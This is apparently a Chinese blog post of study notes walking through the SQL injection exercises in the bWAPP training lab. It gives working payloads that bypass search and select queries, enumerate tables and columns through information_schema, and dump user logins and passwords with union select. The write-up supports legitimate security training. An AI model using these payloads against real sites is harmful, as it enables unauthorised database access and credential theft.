美文网首页hackerbwapp系列
bWAPP学习笔记 - A1 Injection (二)

bWAPP学习笔记 - A1 Injection (二)

作者: 开口海螺 | 来源:发表于2019-04-08 16:59 被阅读0次

    SQL Injection (GET/Search)

    手注练习题 (^_^)

    Level: Low
    1. 先输入单引号',测试结果:

    源码中:

     $sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";
    

    单引号的输入,使得%没有闭合

    1. 继续,输入' or 1=1 #,拼合成功:

    3.使用order by,确定字段数:

    URL的title参数中直接输入:
    title=World%' order by 8 -- &action=search
    确定只有7个字段

    1. 使用union select,确定显示位置

    title=World%' union select 1,2,3,4,5,6,7 -- &action=search

    1. 查询当前库,当前表,当前用户:

    title=World%' union select 1,table_name,database(),user(),5,6,7 from information_schema.tables where table_schema=database() --

    1. 查询users表字段:

    title=World%' union select 1,column_name,database(),user(),5,6,7 from information_schema.columns where table_name='users' --

    1. 查询用户名login和密码password

    title=World%' union select 1,login,password,4,5,6,7 from users --

    Level: Medium

    使用 addslashes()进行了过滤

    Level: High

    使用 mysql_real_escape_string()进行了过滤


    SQL Injection (GET/Select)

    Level: Low

    方法与上面一致,需要注意的是,在源码中:

     $id = $_GET["movie"];
     $sql = "SELECT * FROM movies";
      // If the user selects a movie
       if($id)        
       {
           $sql.= " WHERE id = " . sqli($id);
       }
    

    注入点在where 中,需要先使语句失效
    输入 -1 即可

    新的拼接语句如下:

    movie=-1 union select 1,login,password,4,5,6,7 from users order by 1 --

    最终结果:


    Level:Medium/High

    与上面的 SQL Injection (GET/Search) 一致!


    SQL Injection (POST/Search)

    Level: Low

    使用Firefox的hackBar插件或者 PostMan工具通过 POST方式提交即可

    title=World%' union select 1,login,password,4,5,6,7 from users -- -

    Level:Medium/High

    与上面的 SQL Injection (GET/Search) 一致!


    SQL Injection (POST/Select)

    Level: Low

    使用Firefox的hackBar插件或者 PostMan工具通过 POST方式提交即可

    movie=-1 union select 1,login,password,4,5,6,7 from users order by 1 -- -

    Level:Medium/High

    与上面的 SQL Injection (GET/Search) 一致!


    SQL Injection (AJAX/JSON/jQuery)

    Level: Low

    这题比较简单,原理与上面的Sql注入方式一致,只是通过另一个页面调用数据,查看网页源码可以看到:
    Ajax调用了 sqli_10-2.php页面,仅需直接针对 sqli_10-2.php页面进行Sql注入即可

    Level:Medium/High

    sqli_10-2.php的页面与之前的 SQL Injection (GET/Search)过滤方式 一致!


    SQL Injection (CAPTCHA)

    多了一个验证码验证,其他的与SQL Injection (GET/Search) 一致!

    相关文章

      网友评论

        本文标题:bWAPP学习笔记 - A1 Injection (二)

        本文链接:https://www.haomeiwen.com/subject/juqpiqtx.html